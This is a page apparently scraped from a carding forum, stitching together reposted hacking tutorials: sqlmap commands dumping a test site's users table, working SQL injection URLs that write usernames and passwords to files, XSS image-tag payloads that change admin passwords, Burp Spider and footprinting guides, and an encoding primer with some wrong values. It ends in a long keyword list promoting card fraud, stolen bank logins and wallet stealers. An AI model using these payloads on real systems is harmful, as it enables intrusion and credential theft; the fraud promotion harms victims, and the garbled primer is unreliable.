sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Features
  • Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB and Informix database management systems.
  • Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band.
  • Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port, and database name.
  • Support to enumerate users, password hashes, privileges, roles, databases, tables, and columns.
  • Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
  • Support to dump database tables entirely, a range of entries or specific columns as per user’s choice. The user can also choose to dump only a range of characters from each column’s entry.
  • Support to search for specific database names, specific tables across all databases or specific columns across all databases’ tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns’ names contain a string like a name and pass.
  • Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
  • Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user’s choice.
  • Support for database process’ user privilege escalation via Metasploit’sMeterpreter getsystem command.
[Image: 1.png?w=687&ssl=1]
These options can be used to enumerate the back-end database management system information, structure, and data contained in the tables.
[Image: 2.png?w=687&ssl=1]
Sometimes you visit such websites that let you select product item through their picture gallery if you observer its URL you will notice that product item is called through its product-ID numbers.
Let’s take an example

[To see content please register here]


1

[To see content please register here]


So when attacker visits such kind of website he always checks for SQL vulnerability inside web server for lunching SQL attack.
[Image: 3.png?w=687&ssl=1]
Let’s check how attacker verifies SQL vulnerability.
The attacker will try to break the query in order to order to get the error message, if he successfully received an error message then it confirms that web server is SQL injection affected.

[To see content please register here]

'

1

[To see content please register here]

'

From the screenshot you can see we have received error message successfully now we have made SQL attack on a web server so that we can fetch database information.
[Image: 4.1.png?w=687&ssl=1]
Databases
For database penetration testing we always choose SQLMAP, this tool is very helpful for beginners who are unable to retrieve database information manually or unaware of SQL injection techniques.
Open the terminal in your Kali Linux and type following command which start SQL injection attack on the targeted website. 
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
1
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch

-u:  target URL
–dbs: fetch database name
–batch: This will leave sqlmap to go with default behavior whenever user’s input would be required
[Image: 4.png?w=687&ssl=1]
Here from the given screenshot, you can see we have successfully retrieve database name “acuart”
[Image: 5.png?w=687&ssl=1]
Tables
As we know a database is a set of record which consist of multiple tables inside it therefore now use another command in order to fetch entire table names from inside the database system.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --table --batch
1
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --table --batch

-D: DBMS database to enumerate (fetched database name)
–tables: enumerate DBMS database table
[Image: 6.png?w=687&ssl=1]
As a result, given in screenshot, we have enumerated entire table name of the database system. There are 8 tables inside the database “acuart” as following:
T1: artists
T2: carts
T3: categ
T4: featured
T5: guestbook
T6: pictures
T7: products
T8: users
[Image: 7.png?w=687&ssl=1]
Columns
Now further we will try to enumerate the column name of the desired table. Since we know there is a users table inside the database acuart and we want to know all column names of users table, therefore, we will generate another command for column captions enumeration.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
1
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch

-T: DBMS table to enumerate (fetched table name)
–columns: enumerate DBMS database columns
[Image: 8.png?w=687&ssl=1]
[Image: 9.png?w=687&ssl=1]
Get data from a table
Slowly and gradually we have penetrated many details of the database but last and most important step is to retrieve information from inside the columns of a table. Hence, at last, we will generate a command which will dump information of users table.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
1
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch

–dump: dump all information of DBMS database
[Image: 10.png?w=687&ssl=1]
Here from the given screenshot, you can see it has to dump entire information of table users, mainly users table contains login credential of other users. You can use these credential for login into the server on behalf of other users.
[Image: 12.png?w=687&ssl=1]
Dump All
The last command is the most powerful command in sqlmap which will save your time in database penetration testing; this command will perform all the above functions at once and dump entire database information including table names, column and etc.
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch
1
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --dump-all --batch

[Image: 13.png?w=687&ssl=1]
This will give you all information at once which contains database name as well as table’s records.
Try it yourself!!!
[Image: 14.png?w=687&ssl=1]

Hello friends! Today we are doing web penetration testing using burp suite spider which very rapidly crawls entire web application and dumps the formation of targeted website.
Burp Spider is a tool for automatically crawling web applications. While it is generally preferable to map applications manually, you can use Burp Spider to partially automate this process for very large applications, or when you are short of time.
Source:

[To see content please register here]


Let’s begin!!
The first attacker needs to configure the browser and burp proxy to work properly,

[To see content please register here]

will my targeted web site for enumeration.

[Image: 1.png?w=687&ssl=1]
The form is given below screenshot you can see currently there is no targeted website inside site map of burp suite. To add your targeted web site inside it you need to fetch the http request sent by the browser to the web application server, using intercept option of the proxy tab.
Click on the Proxy tab and turn on intercept in order to catch http request.
[Image: 2.png?w=687&ssl=1]
Here you can observe that I had fetched the http request of

[To see content please register here]

; now send to spider with help of action tab.

[Image: 3.png?w=687&ssl=1]
Confirm your action by making click on YES; Burp will alter the existing target scope to include the preferred item, and all sub-items contained by the site map tree.
[Image: 5.png?w=687&ssl=1]
Now choose spider tab for a further step, here you will find two subcategories control tab and option.
Burp Spider – Control Tab
This tab is used to start and stop Burp Spider, monitor its progress, and define the spidering scope.
Spider Status
Use these settings to monitor and control Burp Spider:
  • Spider is paused/running– This toggle button is used to start and stop the Spider. While the Spider is stopped it will not make any requests of its own, although it will continue to process responses generated via Burp Proxy (if passive spidering is enabled), and any newly-discovered items that are within the spidering scope will be queued to be requested if the Spider is restarted.
  • Clear queues– If you want to reprioritize your work, you can completely clear the currently queued items, so that other item can be added to the queue. Note that the cleared items may be re-queued if they remain in-scope and the Spider’s parser encounters new links to the items.
Spider Scope
This panel lets you define exactly what is in the scope for the Spider to request.
The best way to handle spidering scope is normally using the suite-wide target scope, and by default, the Spider will use that scope.
Burp Spider Options
This tab contains options for the basic crawler settings, passive spidering, form submission, application login, the Spider engine, and HTTP request headers.
[Image: 6.png?w=687&ssl=1]
You can monitor the status of the Spider when running, via the Control tab. Any newly discovered content will be added to the Target site map.
When spidering a selected branch of the site map, Burp will carry out the following actions (depending on your settings):
  • Request any unrequested URLs already present within the branch.
  • Submit any discovered forms whose action URLs lay within the branch.
  • Re-request any items in the branch that previously returned 304 status codes, to retrieve fresh (uncached) copies of the application’s responses.
  • Parse all content retrieved to identify new URLs and forms.
  • Recursively repeat these steps as new content is discovered.
  • Continue spidering all in-scope areas until no new content is discovered.
Hence you can see the targeted website has been added inside the site map as a new scope for web crawling. Choose spider this host option by making right click on selected URL which automatically starts web crawling.
[Image: 7.png?w=687&ssl=1]
When you click on preferred target site map further content which has been discovering by the spider will get added inside it as shown in the given image below.
Form screenshot you can see its dump all items of web site even by throwing request and response of the host.
[Image: 8.png?w=687&ssl=1]


  [Guide] How to Dumping Database using Outfile
Posted by: NINZA - 05-02-2020, 12:00 PM - Forum: Carders Home - No Replies

In our previous article you have learned the basic concepts of SQL injection but in some scenarios, you will find that your basic knowledge and tricks will fail. Today we are going to perform SELECT…INTO OUTFILE statement is the easiest way of exporting a table records into a text file or excel file
This statement allows the user to load table information very rapidly to a text file on the server machine. SELECT … INTO OUTFILE writes the significant rows to a file and gives authority to the use of column and row terminators to specify the output format. The output file is created directly by the MySQL server, so the filename with path should be specified where the user wants the file to be written on the server host. The file must not exist already on the server. It cannot be overwritten. A user requires the FILE privilege to run this statement.
Let’s start!!
Lesson 7
Open the browser and type following SQL query in URL
http://localhost:81/sqli/Less-7/?id=1
1
http://localhost:81/sqli/Less-7/?id=1

From the screenshot, you can read “you are in….. Use outfile” now let’s try to break this statement.
[Image: 1.png?w=687&ssl=1]
OKAY! The Query has been broken successfully we receive the error message when we had used single quote (‘) in order to break query hence it confirms that it is vulnerable.
http://localhost:81/sqli/Less-7/?id=1'
1
http://localhost:81/sqli/Less-7/?id=1'

[Image: 2.png?w=687&ssl=1]
After making lots of efforts finally successfully the query gets fixed if noticed the step for SQL injection is similar to the previous chapter only techniques to fix the query is different.
http://localhost:81/sqli/Less-7/?id=1')) --+
1
http://localhost:81/sqli/Less-7/?id=1')) --+

[Image: 3.png?w=687&ssl=1]
Now the following query will dump the result into a text file. Here you need to mention the path where the user wants the file to be written on the server host. The file must not exist already on server user always use a new text file for overwriting database information.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,3 into outfile "/xampp/htdocs/sqli/Less-7/hack1.txt" --+

From the screenshot, you can perceive that still it is showing error message now open another tab for the output of the resultant query.
[Image: 4.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/
1
http://localhost:81/sqli/Less-7/

Now add file name hack1.txt to check the output of the above query.
[Image: 5.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/hack1.txt
1
http://localhost:81/sqli/Less-7/hack1.txt

hence you can see we get the output of executed query inside a text file. This will save the hack1.txt file inside the server machine also.
[Image: 6.png?w=687&ssl=1]
Execute the following query to retrieve the database name using union injection using a new text file.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,2,database() into outfile "/xampp/htdocs/sqli/Less-7/hack2.txt" --+

[Image: 7.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/hack2.txt
1
http://localhost:81/sqli/Less-7/hack2.txt

Hence you can see we have successfully get security as database name as result.
[Image: 8.png?w=687&ssl=1]
Next query will provide entire table names saved inside the database using another text file.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() into outfile "/xampp/htdocs/sqli/Less-7/hack3.txt" --+

[Image: 9.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/hack3.txt
1
http://localhost:81/sqli/Less-7/hack3.txt

From the screenshot you can read the following table names:
T1: emails
T2: referers
T3: uagents
T4: users

1
2
3
4

T1: emails
T2: referers
T3: uagents
T4: users

[Image: 10.png?w=687&ssl=1]
Now we’ll try to find out column names of users table using the following query.
localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' into outfile "/xampp/htdocs/sqli/Less-7/hack4.txt" --+
1
localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' into outfile "/xampp/htdocs/sqli/Less-7/hack4.txt" --+

[Image: 11.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/hack4.txt
1
http://localhost:81/sqli/Less-7/hack4.txt

Hence you can see it contains so many columns inside it I had chosen only two columns for further enumeration.
C1: username
C2: password

1
2

C1: username
C2: password

[Image: 12.png?w=687&ssl=1]
At last, execute the following query to read all username and password inside the table users from inside its column.
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password)from users into outfile "/xampp/htdocs/sqli/Less-7/hack5.txt" --+
1
http://localhost:81/sqli/Less-7/?id=1')) union select 1,group_concat(username),group_concat(password)from users into outfile "/xampp/htdocs/sqli/Less-7/hack5.txt" --+

[Image: 13.png?w=687&ssl=1]
http://localhost:81/sqli/Less-7/hack5.txt
1
http://localhost:81/sqli/Less-7/hack5.txt

From the screenshot, you can read the username and password save the inside text file.
Note: you can try the same attack using excel file; attacker only need to change hack1.txt into hack1.csv which will save the output into excel file.
[Image: 14.png?w=687&ssl=1]

Hello friends! In our

[To see content please register here]

article, we saw how an attacker can shoot web application against CSRF vulnerability with help of burp suite. Today again we are going to test CSRF attack with help of XSS vulnerability.AS we know taking the help of XSS attacker might be able to read cookies from the same domain and if CSRF token is stored in cookies then the attacker will able to read the CSRF token from CSRF protected post.
Let’s have a look at how an attacker can make CSRF attack for changing the password of admin account when the web application is suffering from cross-site scripting vulnerability. For this tutorial, I had used DVWA and set its security level low.
[Image: 1.png?w=687&ssl=1]
Suppose that you have found XSS vulnerability in any web application server. Here we are going to use javascript or HTML script which will make CSRF attack for changing the password of the admin account.
[Image: 2.1.png?w=687&ssl=1]
An XSS attack can be used to read the cookies and get the valid tokens if it is stored in cookies which have to be inserted in the malicious script to make CSRF possible. Using image tag we will send a malicious script, inside script I had set a new password like 123456.
<img src="/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">
1
<img src="/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change">

[Image: 2.png?w=687&ssl=1]
Now let’s check whether the password for admin has been changed or not, previously credential was admin: password, if the admin gets failed to login inside web server using his previous credential then we had successfully made CSRF attack.
From given screenshot, you can see using admin: password it confirms login failed. Now use your new password 123456 for login inside web server.
[Image: 3.png?w=687&ssl=1]
Similarly, there is another web application bwapp where we will demonstrate the same attack using XSS vulnerability. First, you need to choose your bug “cross-site scripting Reflected (post)” and set security level low.
[Image: 4.png?w=687&ssl=1]
In the given screenshot the form is suffering from XSS vulnerability now we are going to generate a script for making CSRF possible in order to change the password for a user. Here we are login as bee: bug into web server now we will try to change its password with help of cross-site scripting.
[Image: 5.png?w=687&ssl=1]
Similarly using image tag we will send a malicious script, inside script I had set new password as hack.
<img src="/bwapp/csrf_1.php?password_new=hack&password_conf=hack&action=change">
1
<img src="/bwapp/csrf_1.php?password_new=hack&password_conf=hack&action=change">

[Image: 7.png?w=687&ssl=1]
From the screenshot, you can see generated image icon which means this form has XSS flaws now let check whether the password has been modified or not for user bee.
[Image: 8.png?w=687&ssl=1]
Now use previous credential bee: bug if login failed is confirmed it means we have successfully shot the CSRF attack and from the screenshot, you can see “invalid credential or user not activated” message.  Now use a new password for login into a web server.
Conclusion: XSS vulnerabilities exist anywhere in the same domain it could lead to CSRF attack and allows attackers to remotely control the target’s browser with full rights, making CSRF useless.
[Image: 9.png?w=687&ssl=1]

From Wikipedia
This article will describe the different type of process involves in encoding of data.
The term encoded data means wrapped data and the process of encoding is used to transform the data into a different format so that it can be easily understood by different type of system. For example ASCII characters are encoded by means of numbers ‘A’ is represented with 65, where as ‘B’ with 66 an so on.
As we known computer does not understand human languages therefore we need to encode the data into binary language which is easily readable by computer systems hence encoding is very important. It utilises such schemes that are widely available so that it can simply be reversed. Encoding means data transformation, not data encryption consequently it does not need a key in decoding.
URL Encoded
The internet only accepts URL’s in ASCII format, URL encoding entails encoding certain parts of the URL character set. This process takes one character and converts it into a character triplet that has a prefix of “%” followed by two digits in hexadecimal format.
Character
Encoded
:
%3A
/
%2F
#
%23
?
%3F
&
%24
@
%40
%
%25
+
%2B
<space>
%20
;
%3B
=
%3D
$
%26
,
%2C
<
%3C
>
%3E
^
%5E
`
%60
\
%5C
[
%5B
]
%5D
{
%7B
}
%7D
|
%7C
“
%22
Example :
Original URL:

[To see content please register here]


Encoded URL: http%3A%2F%2Fwww.hackingarticles.in
Hexadecimal
Hexadecimal or Base 16 is a positional number system which consists of 16 distinct symbols which range from 0 to 9 in numerals and both upper and lowercase alphabets which range from A to F which represent numeric values 10 to 15
Step 1 – is to get the decimal value of an alphabet, this is different for both upper and lower case, eg: A = 65 and a = 97. In order to find the value of any alphabet, we count down to it from ”A” or “a”, the values are in single digit succession, eg: A = 65 B = 66 C = 67 and so on / a = 97 b = 98 c = 99 and so on.
Step 2 – To convert from decimal to hexadecimal, take the decimal value and divide it by 16, the hex value will be written beginning from the quotient all the way up to the remainder. So, the hex value of 97 will be 61.
Eg:
16
97
1

6
6
Source
R
a
j
Decimal Value
82
97
106
Hexadecimal value
52
61
6a
Base64
Each base64 digit represents exactly 6 bits of data.Is a radix-64 representation of ASCII string, here’s how we get it?
Step 1 – is to get the decimal value of an alphabet, this is different for both upper and lower case, eg: A = 65 and a = 97. In order to find the value of any alphabet, we count down to it from”A” or “a”, the values are in single digit succession, eg: A = 65 B = 66 C = 67 and so on / a = 97 b = 98 c = 99 and so on.
Step 2 – is to divide the decimal value by 2, where ever there is a reminder it is denoted as “1” and where ever the remainder is “0”, it is denoted as “0”, continue to divide till you reach 0 or 1 and cannot divide any further. The binary value will be the denoted 1’s and 0’s counted from last to first.
Eg:In order to get a 8-bit value we prefix a “0” to the value, eg: 01010010 and this gives us the binary value of “a”.
2
97
1
2
48
0
2
24
0
2
12
0
2
6
0
2
3
1

1
1
Step 3 – Write the values of all the characters in binary and make pairs of 6 (6-bit), eg: binary value of “Raj” in 8-bit = 010100 100110 000101, binary value of “Raj” in 6-bit = 010100 100110 000101 101010.
Step 4 – Write the 6-bit decimal value of the pairs we make in Step 3 and adding all the values where we have 1’s
32
16
8
4
2
1

0
1
0
1
0
0
20
1
0
0
1
1
0
38
0
0
0
1
0
1
5
1
0
1
0
1
0
42
Step 5 – Use the Base64 table to lookup the values we get in Step 4.
The Base64 index table:
Value
Char

Value
Char

Value
Char

Value
Char
0
A
16
Q
32
g
48
w
1
B
17
R
33
h
49
x
2
C
18
S
34
i
50
y
3
D
19
T
35
j
51
z
4
E
20
U
36
k
52
0
5
F
21
V
37
l
53
1
6
G
22
W
38
m
54
2
7
H
23
X
39
n
55
3
8
I
24
Y
40
o
56
4
9
J
25
Z
41
p
57
5
10
K
26
a
42
q
58
6
11
L
27
b
43
r
59
7
12
M
28
c
44
s
60
8
13
N
29
d
45
t
61
9
14
O
30
e
46
u
62
+
15
P
31
f
47
v
63
/
The Base64 encoded value of Raj is UmFq. Encoded in ASCII, the characters R, a, and j are stored as decimal values 82, 97, and 106, their 8-bit binary values are 01010010, 01100001, and 01101010. These three values are joined together into a 24-bit string, producing 010100100110000101101010. Groups of 6 are converted into individual numbers from left to right. While converting from 8-bit to 6-bit, 0’s are added to fill the last slots, so that a full pair of 6 can be made.
The full conversion of “Raj” to Base64 is shown in Table 1.1 and the individual conversion of “R” and “Ra” of “Raj” are shown in Tables 1.1 and 1.2 to show a breakdown of the process with explanation
Raj                                              82 97 106                            01010010 01100001 01101010
[Image: 1.png?resize=687%2C265&ssl=1]
In the Table 1.2, for character “R” of “Raj”, the values in the Bit patternsection are in 8-Bit format and they are being converted into 6-Bit and the decimal value of the 6-Bit pairs are in the Index section.Table 1.1

The same process is repeated in Table 1.3 for characters “R” and “a” of “Raj”.
For each pair of extra 0’s that are added to complete a pair of 6, an “=” is added for each pair, so the ACHII value of “0 0” is “=”.
[Image: 2.png?resize=516%2C530&ssl=1]
In table 1.4 to further build on the logic used in table 1.2 and 1.3, “Raaj” is converted to “UmFhag==” in Base64, with the addition of an additional “a”, the complexity of the conversion increases. In the Indexsection we can see an additon of 33, 26 and 32 due to the change in the bit pattern.
For each pair of extra 0’s that are added to complete a pair of 6, an “=” is added for each pair, so the ACHII value of “0 0” is “=”, as done in table 1.2 and 1.3.
[Image: 3.png?resize=614%2C530&ssl=1]
Rot13
This is a letter substitution cypher, it’s conversion process from plain text to cypher test is dicinging the total number of alphabets in half: A to M and N to Z. The first half mirriors the second half and vice versa. So, A = N and N = A.
Eg: Rot13 of Raj = Enw
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z


There are many saying about knowing your enemy, time and time again these sayings have proved to be true. Today we hear all around the work of hackers and many-a-times we fail to protect ourselves. This happens because we are not familiar with their working process. Therefore, in this article, we are here to make to accustomed to the first step of the process i.e. Footprinting.
In the world of Cyber Security, Footprinting is the first step which lets penetration testers gather information about hardware or network. It is basically an exploration process which helps us to know our enemy. In order to complete the penetration process, one ought to gather as much information as possible.  Footprinting can be done either actively or passively. Assessing a company’s website with their permission is an illustration of passive footprinting and trying to access sensitive information through social engineering is an illustration of active information gathering.
Types of Footprinting:
  • Footprinting through Search Engine
  • Footprinting through social engineering
  • Footprinting through Social Networking sites
  • Website Footprinting
  • Competitive Intelligence
  • WHOIS Footprinting
  • Footprinting using advanced Google hacking techniques
  • Email Footprinting
  • DNS Footprinting
  • Network Footprinting
As this is the first part of our footprinting series, we will discuss the first three types of footprinting.
Footprinting through Search Engine
Footprinting through the search engine is unambiguous in itself. People often wonder what one can find through the search engine as the common concept of the search engine is basic exploring. But results given by the search engine can be used to hacker’s advantage as they are vast in nature.
Attackers use search to gather information about their target such as technology platforms, employee details, login pages, intranet portals, etc. which helps in performing social engineering and/or other types of advanced system attacks.
Even search engine cache and internet archives may provide sensitive information that has been removed from the World Wide Web (WWW).
There are many search engines where you can find anything that desires from finding the meaning of the word to finding a person. Such search engines are:

[To see content please register here]


[To see content please register here]


[To see content please register here]


[To see content please register here]


Now let’s take the example of google.com. If I search “Raj Chandel” on Google, then it will give me every possible result associated with the said person.
[Image: 1.png?w=687&ssl=1]
Same will be the result from other search engines. But different search engines are often used for particular searches. As shown above, Google is good for general information. If you want to know which websites are hosted on a particular server then you can use the Bing search engine. To know an IP address of any website just ping the website as shown below :
[Image: 2.png?w=687&ssl=1]
Now, open bing.com and type the IP in the search tab and press enter.
[Image: 3.png?w=687&ssl=1]
So like this, Bing can give you details about websites which are hosted in the same server
[Image: 4.png?w=687&ssl=1]
Another search engine is shodan.io, it helps to locate various open ports, vulnerable IP’s, and effected digital-ware all over the world.  Open shodan.io in your browser and search for port or IP.
[Image: 5.png?w=687&ssl=1]
For a detailed tutorial of shodan.io please follow this link:

[To see content please register here]


Footprinting through Jobs Seeking Sites
Similarly, you can collect an abundance of information through job sites. You can know about the company’s infrastructure details, employee’s profile, hardware information, software information. Some of such sites are:

[To see content please register here]


[To see content please register here]


[To see content please register here]


[To see content please register here]


[To see content please register here]


[To see content please register here]


[To see content please register here]


Footprinting through Alerts
There is also a feature of adding alerts. This feature gives you an alert if anything is changed in a particular website; given that you have added an alert to the said website. To do so, open google.com/alerts and type the name of the website that you wanted to alert about. And then click on create an alert.
[Image: 6.png?w=687&ssl=1]
And this way an alert will be created.
[Image: 7.png?w=687&ssl=1]
Footprinting through Social Networking Sites
Attackers use social networking sites like Facebook, Twitter, and Pinterest etc. to gain important and sensitive data about their target. They often create fake profiles through these social media to lure their target and extract vulnerable information.
Employees may post personal information such as DOB, educational and employment background, spouse’s names, etc. and information about their company such as potential clients and business partners, trade secrets of business, websites, company’s upcoming news, mergers, acquisitions, etc.
Even the information about the employee’s interest is tracked and then they are trick into revealing more information.
Now if you want to search a particular person using just their name or email then there are specialized websites for it like pipl.com and lullar.com
Open pipl.com and type the name of the person you want to search about. For instance, I have searched my own name and as you can see in the image below we get a positive result.
[Image: 8.png?w=687&ssl=1]
Now open lullar.com, here you can search for people using their email and much more. Here, I have searched through email (using my own email) and there is a positive result in the image below.
[Image: 9.png?w=687&ssl=1]
Footprinting through Social Engineering
Social engineering is an art of manipulating human behavior to our own advantage. This proves most helpful when the need for extraction of confidential information. To do so, we have to depend on the fact that people are unaware of their valuable information and have no idea about being exploited. The most common example for this is when people call as fake credit/debit card companies and try to extract information.
Techniques used for social engineering are:
Eavesdropping
Shoulder surfing
Dumpster diving
Impersonation on social networking sites
This is how footprinting is done through search engines, social networking sites and social engineering. As white hat hackers, we should know about it but we should also be aware try to protect ourselves from black hat hackers against footprinting.


 


Blackhat Carding forum



Search keywords: the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs,carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, WebMoney carding, card clone, the best hacking country, india hackers team, alboraaq , pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, x'xx passwords, WebMoney hacking, abh cc live, fresh smtp, hacking forum scam free smtp, wmz carding , spam paypal, caring, true carders, carding board, what is the best hacking forum, www.hackingforum.ru, www.carderscave.ru, www.darkgeo.com, www.darkgeo.su, www.darkgeo.ru, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer only for real hackers, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com. Carding forum, Carders Forum, Hacking Forum, Hackers Forum, Cheap WU Transfer, CCV Dumps, Legit Carders 2020, ATN Team, Altenen, Hacking Tutorials, Free Premium Porn Accounts, Carding Tools 2020, Fraud Carding, Fraudsters Marketplace, Carding Forum Scam, Inbox Spamming, Free Mailer PHP, Free VPN 2020, Best VPN 2020, AlphaBay Market, Free Fresh Mail Leads, Real Hacker Forum, Alboraaq Review, Alboraaq Hackers, Perfect Money Stealer, Darknet Forums, Darknet Hackers, Darknet Carders, Cardable Websites 2020, Buy Credit Card Dumps, Western Union Generator, Money Gram Transfers Cheap, Free CVV, Free RDP, Cheap RDP, Amazon Carding 2020, NonVBV Cardable Websites, TOR VPN 2020, Russian Carding Forum, UK Carding Forums, Bitcoin Wallet Stealer, Bitcoin Carding, Bank Stealer, Hacked Bank Logins, Bank Logins, Free Keyloggers 2020, Best Keylogger Download, Free Receipt Generator, Card Bitcoins easy, Amazon method, Best Pakistan Carders, Dumps Section, Legit Carding, Unseen, Tutamail, Deepdotweb, CC Live, Free premium logs, iPhone 6s Carded, Cheap Electronics Carding, Black Marketplace, Cheap Bank Transfers, Carding Tools, Havij Hacking, India Hackers, Cheap Apple Carding 2020, PayPal Dumps Logs, Market Hackers, Fresh email logs, btc carding, amex cc, havij carding tutorial, shop credit card, visa cc, cheap shipping, alboraaq, underground forum, botnet, hacking programs, bitshacking, truehackers, cc stealer, how to get credit cards, dumps, pin, logs, email logs, hacking tools, hacking programs, carding tools, ccv checker, ccv balance checker, carding tutorials, mg transfer, wu transf, bank transfer, card clone, hacking stuff, card clone, the best hacking country, india hackers team, alboraaq scamming, pakistan hackers, wu transfer to nigeria, wu bug, wu transfer, iPhone carding shipping, hacking and carding forum, carding stuff, porn accounts, xxx passwords, xxx username and passwords, abh cc live, fresh smtp, hacking forum scam free smtp, ams spamming, spam paypal, caring, true carders, carding board, what is the best hacking forum, the best hacking forum, freedom to palestine, indian hackers team, spaming tools, ams fresh spaming, inbox spaming, the best carding forum, credit card dumps, free credit cards, carding forum, carders forum, wu transfer, western union transfer, hacked ccv, cc dumps, legit carders, altenen hackers, hacking tutorials, free porn acconts, paypal dumps, bank account login, alboraaq hackers, cheap apple items carded, market hackers, fraud market, perfectmoney stealer, platinum card, database dump, atn, how to card btc, free paypal logs, altenen, how to card bitcoins, bitcoin carding, fresh leads, proxy list, bitcoin wallet stealer, how to hack a bitcoin wallet, perfect money adder, hacking forum rip, carding board, western union transfer, carding 2020, carders 2020, carders forum 2020, carding forum 2020, hacking forum 2020, fraud market 2020, carding tutorials 2020, carding forum 2020, carders forum 2020, carding tutorials 2020, carders 2020, hackers forum 2020, hacking forum 2020, fraud market 2020, hacked wu 2020, carded iphone 2020, cardingf.com, altenen, altenen.com, alboraaq, alboraaq.com